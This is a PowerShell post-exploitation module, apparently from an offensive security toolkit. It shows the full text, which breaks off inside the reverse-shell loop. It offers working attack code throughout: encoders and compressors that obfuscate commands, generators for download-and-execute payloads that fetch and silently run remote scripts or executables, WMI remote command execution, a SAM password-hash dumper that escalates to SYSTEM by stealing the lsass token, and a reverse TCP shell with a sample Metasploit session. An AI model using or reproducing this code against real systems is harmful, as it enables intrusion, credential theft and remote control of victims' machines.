PostExploitation/PostExploitation.psm1


<#
.SYNOPSIS
   Converts a given PowerShell command string in to an Encoded Base64 command.
.DESCRIPTION
   Converts a given PowerShell command string in to an Encoded Base64 command.
.EXAMPLE
   Encoding a command
   PS C:\> ConvertTo-Base64Command -command "write-host 'hello world'"
   dwByAGkAdABlAC0AaABvAHMAdAAgACcAaABlAGwAbABvACAAdwBvAHIAbABkACcA

   PS C:\> powershell.exe -encodedcommand dwByAGkAdABlAC0AaABvAHMAdAAgACcAaABlAGwAbABvACAAdwBvAHIAbABkACcA
   hello world

#>

function ConvertTo-PostBase64Command
{
    [CmdletBinding()]
    Param
    (
        # Command to Encode
        [Parameter(Mandatory=$true,
                   ValueFromPipelineByPropertyName=$true,
                   ParameterSetName="command",
                   Position=0)]
        [String]$Command,

        # PowerShell Script to Encode
        [Parameter(Mandatory=$true,
                   ParameterSetName="file",
                   Position=0)]
        [ValidateScript({Test-Path $_})]
        [String]$File
    )

    Begin
    {
    }
    Process
    {
        switch ($PsCmdlet.ParameterSetName)
        {
            "command" {$contents = $Command}
            "file" {$contents =  [system.io.file]::ReadAllText($File)}
        }
        $bytes = [Text.Encoding]::Unicode.GetBytes($contents)
        $encodedCommand = [Convert]::ToBase64String($bytes)
        # If to long tell the user
        if ($encodedCommand.Length -gt 8100)
        {
            Write-Warning "Encoded command may be to long to run vian -EncodedCommand of Powershell.exe"
        }
    }
    End
    {
        $encodedCommand
    }
}


<#
.SYNOPSIS
   Will compress a script for use in Post-Exploitation with Powershell.exe
.DESCRIPTION
   Will compress a given script and return a command that can be used with PowerShell.exe -command <command>
#>

function Compress-PostScript
{
    [CmdletBinding()]
    Param
    (
        # Script file to compress.
        [Parameter(Mandatory=$true,
                  ValueFromPipeline=$true,
                  ParameterSetName="file",
                  Position=0)]
        [ValidateScript({Test-Path $_})]
        $File,

        # Command to Encode
        [Parameter(Mandatory=$true,
                   ValueFromPipelineByPropertyName=$true,
                   ParameterSetName="command",
                   Position=0)]
        [String]$Command
    )

    Begin
    {
    }
    Process
    {
         # Get Content of Script
        switch ($PsCmdlet.ParameterSetName)
        {
            "command" {$contents = $Command}
            "file" {$contents =  [system.io.file]::ReadAllText($File)}
        }

        # Compress Script
        $ms = New-Object IO.MemoryStream
        $action = [IO.Compression.CompressionMode]::Compress
        $cs = New-Object IO.Compression.DeflateStream ($ms,$action)
        $sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII)
        $contents | ForEach-Object {$sw.WriteLine($_)}
        $sw.Close()

        # Base64 encode stream
        $code = [Convert]::ToBase64String($ms.ToArray())

        $command = "Invoke-Expression `$(New-Object IO.StreamReader (" +
        "`$(New-Object IO.Compression.DeflateStream (" +
        "`$(New-Object IO.MemoryStream (,"+
        "`$([Convert]::FromBase64String('$code')))), " +
        "[IO.Compression.CompressionMode]::Decompress)),"+
        " [Text.Encoding]::ASCII)).ReadToEnd();" 

        # If to long tell the user
        if ($command.Length -gt 8100)
        {
            Write-Warning "Compresses Script may be to long to run via -EncodedCommand of Powershell.exe"
        }
    }
    End
    {
        $command
    }
}


<#
.SYNOPSIS
   Generates an encoded command that will download a given PowerShell Script and execute it
   on a target system given to powershell.exe -encodedcommand <command>.
.DESCRIPTION
   Generates an encoded command that will download a given PowerShell Script and execute it
   on a target system given to powershell.exe -encodedcommand <command>.
#>

function New-PostDownloadExecuteScript
{
    [CmdletBinding()]
    Param
    (
        # Param1 help description
        [Parameter(Mandatory=$true,
                   ValueFromPipelineByPropertyName=$true,
                   Position=0)]
        [string]$Url
    )

    Begin
    {
    }
    Process
    {
        $scriptcode = "`$webClient = New-Object System.Net.WebClient;"+
            "`$proxy = [System.Net.WebRequest]::GetSystemWebProxy();"+
            "`$proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;"+
            "`$webClient.Proxy = `$proxy;"+
            "`$payload_url = '$Url';"+
            "Write-Host '$url';"+
            "`$command = `$webClient.DownloadString(`$payload_url);"+
            "Invoke-Expression `$command "

        
        $bytes = [Text.Encoding]::Unicode.GetBytes($scriptcode)
        $encodedCommand = [Convert]::ToBase64String($bytes)
    }
    End
    {
        $encodedCommand
    }
}


<#
.SYNOPSIS
   Generates an encoded command that will download a given Hex Byte Array String and execute it
   on a target system given to powershell.exe -encodedcommand <command>.
.DESCRIPTION
   Generates an encoded command that will download a given Hex Byte Array String and execute it
   on a target system given to powershell.exe -encodedcommand <command>.
#>

function New-PostDownloadExecutePE
{
    [CmdletBinding()]
    Param
    (
        # URL from where the encoded file will be downloaded from.
        [Parameter(Mandatory=$true,
                   ValueFromPipelineByPropertyName=$true,
                   Position=0)]
        [string]$Url,

        # Path on target where the file will be decoded to and executed, default is the targets TEMP.
        [Parameter(Mandatory=$true,
                   ValueFromPipelineByPropertyName=$false,
                   Position=1)]
        [string]$Path = '$env:TEMP'
    )

    Begin
    {
        $rand = New-Object System.Random
        $PayName = $rand.Next()
    }
    Process
    {
        $part1 = "`$payload_url = `'$($Url)`'`n `$Path2exe = `'$($Path)`'`n `$payname = `'$($PayName)`'`n"
        $scriptcode = @'
$webClient = New-Object System.Net.WebClient
$payloadhex = $webClient.DownloadString($payload_url)
[Byte[]] $temp = $payloadhex -split ' '
[System.IO.File]::WriteAllBytes("$($Path2exe)\$($payname).exe", $temp)
Start-Process -FilePath "$($Path2exe)\$($payname).exe" -WindowStyle Hidden
'@
 

        $ScriptCode = $part1 + $scriptcode
        $bytes = [Text.Encoding]::Unicode.GetBytes($ScriptCode)
        $encodedCommand = [Convert]::ToBase64String($bytes)
    }
    End
    {
        $encodedCommand
        #$scriptcode
    }
}


<#
.SYNOPSIS
   Executes a command on a remote host using WMI
.DESCRIPTION
   Executes a command on a remote host using WMI
#>

function Start-PostRemoteProcess
{
    [CmdletBinding()]
    Param
    (
        [parameter(ValueFromPipeline=$true,
        ValueFromPipelineByPropertyName=$true)]
        [string]$Computername="$env:COMPUTERNAME",

        [Parameter(Mandatory=$false)]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [parameter(ValueFromPipeline=$true)]
        [string]$Command
    )

    Begin
    {
    }
    Process
    {
        $wmicmd = Get-WmiObject -List win32_process -ComputerName $Computername -Credential $Credential
        $wmicmd.Create($Command)  
    }
    End
    {
    }
}


<#
.SYNOPSIS
   Generate a command for dumping hashes from a Windows System Registry
.DESCRIPTION
  Generate a command for dumping hashes from a Windows System PowerShell.exe -command
  Command must be executed as SYSTEM if ran as administrator it will privilage escalate to SYSTEM
  and execute a hashdump by reading the hashes from the registry.
.EXAMPLE
  $enc = Get-PostHashdumpScript
  C:\PS>powershell.exe -command $enc
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d4afe1d16ae931b74c59d7e1c089c0:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    Carlos:1001:aad3b435b51404eeaad3b435b51404ee:62096e5ed83a10cf61cf79cc36738519:::
    HomeGroupUser$:1003:aad3b435b51404eeaad3b435b51404ee:951b271a4b7d1dd7a25e3d9c9f87341e:::


  Executes the compressed command generated by the function and dumps the windows hashes from the registry.
 
 .NOTES
   PowerDump script by Kathy Peters, Josh Kelley (winfang) and Dave Kennedy (ReL1K)
   Privilage Escalation from http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/05/use-powershell-to-duplicate-process-tokens-via-p-invoke.aspx

#>

function Get-PostHashdumpScript
{
    [CmdletBinding()]
    Param
    (
        [validateset("Encoded","Script")]
        [string]$Output = "Encoded"
    
    )

    $script = @'

$sign = @"
using System;
using System.Runtime.InteropServices;
public static class priv
{
    [DllImport("shell32.dll")]
    public static extern bool IsUserAnAdmin();
}

"@

    $adminasembly = Add-Type -TypeDefinition $sign -Language CSharp -PassThru

    function ElevatePrivs
    {
$signature = @"
    [StructLayout(LayoutKind.Sequential, Pack = 1)]
     public struct TokPriv1Luid
     {
         public int Count;
         public long Luid;
         public int Attr;
     }
 
    public const int SE_PRIVILEGE_ENABLED = 0x00000002;
    public const int TOKEN_QUERY = 0x00000008;
    public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
    public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
 
    public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
    public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
    public const UInt32 TOKEN_DUPLICATE = 0x0002;
    public const UInt32 TOKEN_IMPERSONATE = 0x0004;
    public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
    public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
    public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
    public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
    public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
    public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
      TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
      TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
      TOKEN_ADJUST_SESSIONID);
 
    public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege";
    public const int ANYSIZE_ARRAY = 1;
 
    [StructLayout(LayoutKind.Sequential)]
    public struct LUID
    {
      public UInt32 LowPart;
      public UInt32 HighPart;
    }
 
    [StructLayout(LayoutKind.Sequential)]
    public struct LUID_AND_ATTRIBUTES {
       public LUID Luid;
       public UInt32 Attributes;
    }
 
 
    public struct TOKEN_PRIVILEGES {
      public UInt32 PrivilegeCount;
      [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]
      public LUID_AND_ATTRIBUTES [] Privileges;
    }
 
    [DllImport("advapi32.dll", SetLastError=true)]
     public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int
        SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle);
 
 
    [DllImport("advapi32.dll", SetLastError=true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    public static extern bool SetThreadToken(
      IntPtr PHThread,
      IntPtr Token
    );
 
    [DllImport("advapi32.dll", SetLastError=true)]
     [return: MarshalAs(UnmanagedType.Bool)]
      public static extern bool OpenProcessToken(IntPtr ProcessHandle,
       UInt32 DesiredAccess, out IntPtr TokenHandle);
 
    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
 
    [DllImport("kernel32.dll", ExactSpelling = true)]
    public static extern IntPtr GetCurrentProcess();
 
    [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
     public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
     ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
"@
 
          $currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent())
          if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) {
            Write-Warning "Run the Command as an Administrator"
            Break
          }
 
          Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv
          $adjPriv = [AdjPriv.AdjPriv]
          [long]$luid = 0
 
          $tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid
          $tokPriv1Luid.Count = 1
          $tokPriv1Luid.Luid = $luid
          $tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED
 
          $retVal = $adjPriv::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid)
  
          [IntPtr]$htoken = [IntPtr]::Zero
          $retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(), [AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS, [ref]$htoken)
   
   
          $tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES
          $retVal = $adjPriv::AdjustTokenPrivileges($htoken, $false, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
 
          if(-not($retVal)) {
            [System.Runtime.InteropServices.marshal]::GetLastWin32Error()
            Break
          }
 
          $process = (Get-Process -Name lsass)
          #$process.name
          [IntPtr]$hlsasstoken = [IntPtr]::Zero
          $retVal = $adjPriv::OpenProcessToken($process.Handle, ([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -BOR [AdjPriv.AdjPriv]::TOKEN_DUPLICATE), [ref]$hlsasstoken)
 
          [IntPtr]$dulicateTokenHandle = [IntPtr]::Zero
          $retVal = $adjPriv::DuplicateToken($hlsasstoken, 2, [ref]$dulicateTokenHandle)
  
          $retval = $adjPriv::SetThreadToken([IntPtr]::Zero, $dulicateTokenHandle)
  
          if(-not($retVal)) {
            [System.Runtime.InteropServices.marshal]::GetLastWin32Error()
          }
      }

      function LoadApi
        {
        $oldErrorAction = $global:ErrorActionPreference;
        $global:ErrorActionPreference = "SilentlyContinue";
        $test = [PowerDump.Native];
        $global:ErrorActionPreference = $oldErrorAction;
        if ($test)
        {
            # already loaded
            return;
        }

$code = @"
using System;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Text;

namespace PowerDump
{
    public class Native
    {
    [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
     public static extern int RegOpenKeyEx(
        int hKey,
        string subKey,
        int ulOptions,
        int samDesired,
        out int hkResult);

    [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
    extern public static int RegEnumKeyEx(
        int hkey,
        int index,
        StringBuilder lpName,
        ref int lpcbName,
        int reserved,
        StringBuilder lpClass,
        ref int lpcbClass,
        out long lpftLastWriteTime);

    [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
    extern public static int RegQueryInfoKey(
        int hkey,
        StringBuilder lpClass,
        ref int lpcbClass,
        int lpReserved,
        out int lpcSubKeys,
        out int lpcbMaxSubKeyLen,
        out int lpcbMaxClassLen,
        out int lpcValues,
        out int lpcbMaxValueNameLen,
        out int lpcbMaxValueLen,
        out int lpcbSecurityDescriptor,
        IntPtr lpftLastWriteTime);

    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern int RegCloseKey(
        int hKey);

        }
    } // end namespace PowerDump

    public class Shift {
        public static int Right(int x, int count) { return x >> count; }
        public static uint Right(uint x, int count) { return x >> count; }
        public static long Right(long x, int count) { return x >> count; }
        public static ulong Right(ulong x, int count) { return x >> count; }
        public static int Left(int x, int count) { return x << count; }
        public static uint Left(uint x, int count) { return x << count; }
        public static long Left(long x, int count) { return x << count; }
        public static ulong Left(ulong x, int count) { return x << count; }
    }
"@

           $provider = New-Object Microsoft.CSharp.CSharpCodeProvider
           $dllName = [PsObject].Assembly.Location
           $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
           $assemblies = @("System.dll", $dllName)
           $compilerParameters.ReferencedAssemblies.AddRange($assemblies)
           $compilerParameters.GenerateInMemory = $true
           $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
           if($compilerResults.Errors.Count -gt 0) {
             $compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) }
           }

        }

        $antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");
        $almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");
        $empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
        $empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
        $odd_parity = @(
          1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
          16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
          32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
          49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
          64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
          81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
          97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
          112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
          128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
          145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
          161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
          176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
          193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
          208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
          224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
          241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
        );

        function sid_to_key($sid)
        {
            $s1 = @();
            $s1 += [char]($sid -band 0xFF);
            $s1 += [char]([Shift]::Right($sid,8) -band 0xFF);
            $s1 += [char]([Shift]::Right($sid,16) -band 0xFF);
            $s1 += [char]([Shift]::Right($sid,24) -band 0xFF);
            $s1 += $s1[0];
            $s1 += $s1[1];
            $s1 += $s1[2];
            $s2 = @();
            $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
            $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
            return ,((str_to_key $s1),(str_to_key $s2));
        }

        function str_to_key($s)
        {
            $key = @();
            $key += [Shift]::Right([int]($s[0]), 1 );
            $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2);
            $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3);
            $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4);
            $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5);
            $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6);
            $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7);
            $key += $([int]($s[6]) -band 0x7F);
            0..7 | %{
                $key[$_] = [Shift]::Left($key[$_], 1);
                $key[$_] = $odd_parity[$key[$_]];
                }
            return ,$key;
        }

        function NewRC4([byte[]]$key)
        {
            return new-object Object |
            Add-Member NoteProperty key $key -PassThru |
            Add-Member NoteProperty S $null -PassThru |
            Add-Member ScriptMethod init {
                if (-not $this.S)
                {
                    [byte[]]$this.S = 0..255;
                    0..255 | % -begin{[long]$j=0;}{
                        $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length;
                        $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp;
                        }
                }
            } -PassThru |
            Add-Member ScriptMethod "encrypt" {
                $data = $args[0];
                $this.init();
                $outbuf = new-object byte[] $($data.Length);
                $S2 = $this.S[0..$this.S.Length];
                0..$($data.Length-1) | % -begin{$i=0;$j=0;} {
                    $i = ($i+1) % $S2.Length;
                    $j = ($j + $S2[$i]) % $S2.Length;
                    $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp;
                    $a = $data[$_];
                    $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
                    $outbuf[$_] = ($a -bxor $b);
                }
                return ,$outbuf;
            } -PassThru
        }

        function des_encrypt([byte[]]$data, [byte[]]$key)
        {
            return ,(des_transform $data $key $true)
        }

        function des_decrypt([byte[]]$data, [byte[]]$key)
        {
            return ,(des_transform $data $key $false)
        }

        function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt)
        {
            $des = new-object Security.Cryptography.DESCryptoServiceProvider;
            $des.Mode = [Security.Cryptography.CipherMode]::ECB;
            $des.Padding = [Security.Cryptography.PaddingMode]::None;
            $des.Key = $key;
            $des.IV = $key;
            $transform = $null;
            if ($doEncrypt) {$transform = $des.CreateEncryptor();}
            else{$transform = $des.CreateDecryptor();}
            $result = $transform.TransformFinalBlock($data, 0, $data.Length);
            return ,$result;
        }

        function Get-RegKeyClass([string]$key, [string]$subkey)
        {
            switch ($Key) {
                "HKCR" { $nKey = 0x80000000} #HK Classes Root
                "HKCU" { $nKey = 0x80000001} #HK Current User
                "HKLM" { $nKey = 0x80000002} #HK Local Machine
                "HKU" { $nKey = 0x80000003} #HK Users
                "HKCC" { $nKey = 0x80000005} #HK Current Config
                default {
                    throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
                }
            }
            $KEYQUERYVALUE = 0x1;
            $KEYREAD = 0x19;
            $KEYALLACCESS = 0x3F;
            $result = "";
            [int]$hkey=0
            if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
            {
                $classVal = New-Object Text.Stringbuilder 1024
                [int]$len = 1024
                if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
                    [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
                {
                    $result = $classVal.ToString()
                }
                else
                {
                    Write-Error "RegQueryInfoKey failed";
                }
                [PowerDump.Native]::RegCloseKey($hkey) | Out-Null
            }
            else
            {
                Write-Error "Cannot open key";
            }
            return $result;
        }

        function Get-BootKey
        {
            $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"}));
            $b = new-object byte[] $($s.Length/2);
            0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)}
            $b2 = new-object byte[] 16;
            0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++}
            return ,$b2;
        }

        function Get-HBootKey
        {
            param([byte[]]$bootkey);
            $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0");
            $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0");
            $k = Get-Item HKLM:\SAM\SAM\Domains\Account;
            if (-not $k) {return $null}
            [byte[]]$F = $k.GetValue("F");
            if (-not $F) {return $null}
            $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum);
            $rc4 = NewRC4 $rc4key;
            return ,($rc4.encrypt($F[0x80..0x9F]));
        }

        function Get-UserName([byte[]]$V)
        {
            if (-not $V) {return $null};
            $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
            $len = [BitConverter]::ToInt32($V[0x10..0x13],0);
            return [Text.Encoding]::Unicode.GetString($V, $offset, $len);
        }

        function Get-UserHashes($u, [byte[]]$hbootkey)
        {
            [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
            if ($u.HashOffset + 0x28 -lt $u.V.Length)
            {
                $lm_hash_offset = $u.HashOffset + 4;
                $nt_hash_offset = $u.HashOffset + 8 + 0x10;
                $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
                $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
            }
            elseif ($u.HashOffset + 0x14 -lt $u.V.Length)
            {
                $nt_hash_offset = $u.HashOffset + 8;
                $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
            }
            return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey);
        }

        function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey)
        {
            [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt;
            # LM Hash
            if ($enc_lm_hash)
            {
                $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;
            }
    
            # NT Hash
            if ($enc_nt_hash)
            {
                $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword;
            }

            return ,($lmhash,$nthash)
        }

        function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr)
        {
            $deskeys = sid_to_key $rid;
            $md5 = [Security.Cryptography.MD5]::Create();
            $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);
            $rc4 = NewRC4 $rc4_key;
            $obfkey = $rc4.encrypt($enc_hash);
            $hash = (des_decrypt $obfkey[0..7] $deskeys[0]) +
                (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]);
            return ,$hash;
        }

        function Get-UserKeys
        {
            ls HKLM:\SAM\SAM\Domains\Account\Users |
                where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} |
                    Add-Member AliasProperty KeyName PSChildName -PassThru |
                    Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
                    Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru |
                    Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru |
                    Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru
        }

        function DumpHashes
        {
            LoadApi
            $bootkey = Get-BootKey;
            $hbootKey = Get-HBootKey $bootkey;
            Get-UserKeys | %{
                $hashes = Get-UserHashes $_ $hBootKey;
                "{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid,
                    [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(),
                    [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower());
            }
        }

        if ([priv]::IsUserAnAdmin())
        {
            if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem)
            {
                DumpHashes
            }
            else
            {
                ElevatePrivs
                if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem)
                {
                    DumpHashes
                }
            }
        }
        else
        {
            Write-Error "Administrator or System privelages necessary."
        }

'@

    switch ($Output)
    {
        'Encoded' {Compress-PostScript -Command $script}
        'Script' {$script}
    }
    

}


<#
.SYNOPSIS
   Generates an encoded command to create a Reverse TCP Shell
.DESCRIPTION
   Generates an encoded command to create a Reverse TCP Shell given and IP and Port for a listenning connection.
.EXAMPLE

   -------- Attacker --------

   PS C:\> $enc = Get-PostReverShell -LHOST 192.168.1.104 -LPORT 4444
   PS C:\> Start-PostRemoteProcess -Computername 192.168.1.80 -Credential (Get-Credential) -Command "powershell.exe -encodedcommand $enc"
    cmdlet Get-Credential at command pipeline position 1
    Supply values for the following parameters:


    __GENUS : 2
    __CLASS : __PARAMETERS
    __SUPERCLASS :
    __DYNASTY : __PARAMETERS
    __RELPATH :
    __PROPERTY_COUNT : 2
    __DERIVATION : {}
    __SERVER :
    __NAMESPACE :
    __PATH :
    ProcessId : 3052
    ReturnValue : 0
    PSComputerName :

   -------- Metasploit --------

    msf> use exploit/multi/handler
    msf exploit(handler) > set LHOST 192.168.1.104
    LHOST => 192.168.1.104
    msf exploit(handler) > set LPORT 4444
    LPORT => 4444
    msf exploit(handler) > set ExitOnSession false
    ExitOnSession => false
    msf exploit(handler) > exploit -j
    [*] Exploit running as background job.

    [-] Handler failed to bind to 192.168.1.104:4444
    [*] Started reverse handler on 0.0.0.0:4444
    msf exploit(handler) > [*] Starting the payload handler...
    [*] Command shell session 1 opened (192.168.1.104:4444 -> 192.168.1.80:54137) at 2013-06-03 20:36:29 -0400

.NOTES
    Reverseshell script is from the Social Engineeting Toolkit https://github.com/trustedsec/social-engineer-toolkit
    http://www.trustsec.com

#>

function Get-PostReverTCPShell
{
    [CmdletBinding()]
    Param
    (
        [Parameter(Mandatory=$true,
                   ValueFromPipelineByPropertyName=$true,
                   Position=0)]
        $LHOST,

        [Parameter(Mandatory=$true,
                   ValueFromPipelineByPropertyName=$true,
                   Position=1)]
        [int]
        $LPORT,

        [validateset("Encoded","Script")]
        [string]$Output = "Encoded"
    )

    Begin
    {
    }
    Process
    {
        $part1 = "`$address =`'$LHOST`'; `$port = `'$LPORT`';`n"
        $part2 = @'
function cleanup {
if ($client.Connected -eq $true) {$client.Close()}
if ($process.ExitCode -ne $null) {$process.Close()}
exit}
$client = New-Object system.net.sockets.tcpclient
$client.connect($address,$port)
$stream = $client.GetStream()
$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize
$process = New-Object System.Diagnostics.Process
$process.StartInfo.FileName = $env:ComSpec
$process.StartInfo.RedirectStandardInput = 1
$process.StartInfo.RedirectStandardOutput = 1
$process.StartInfo.UseShellExecute = 0
$process.Start()
$inputstream = $process.StandardInput
$outputstream = $process.StandardOutput
Start-Sleep 1
$encoding = new-object System.Text.AsciiEncoding
while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())}
$stream.Write($encoding.GetBytes($out),0,$out.Length)
$out = $null; $done = $false; $testing = 0;
while (-not $done) {
if ($client.Connected -ne $true) {cleanup}
$pos = 0; $i = 1
while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {
$read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos)
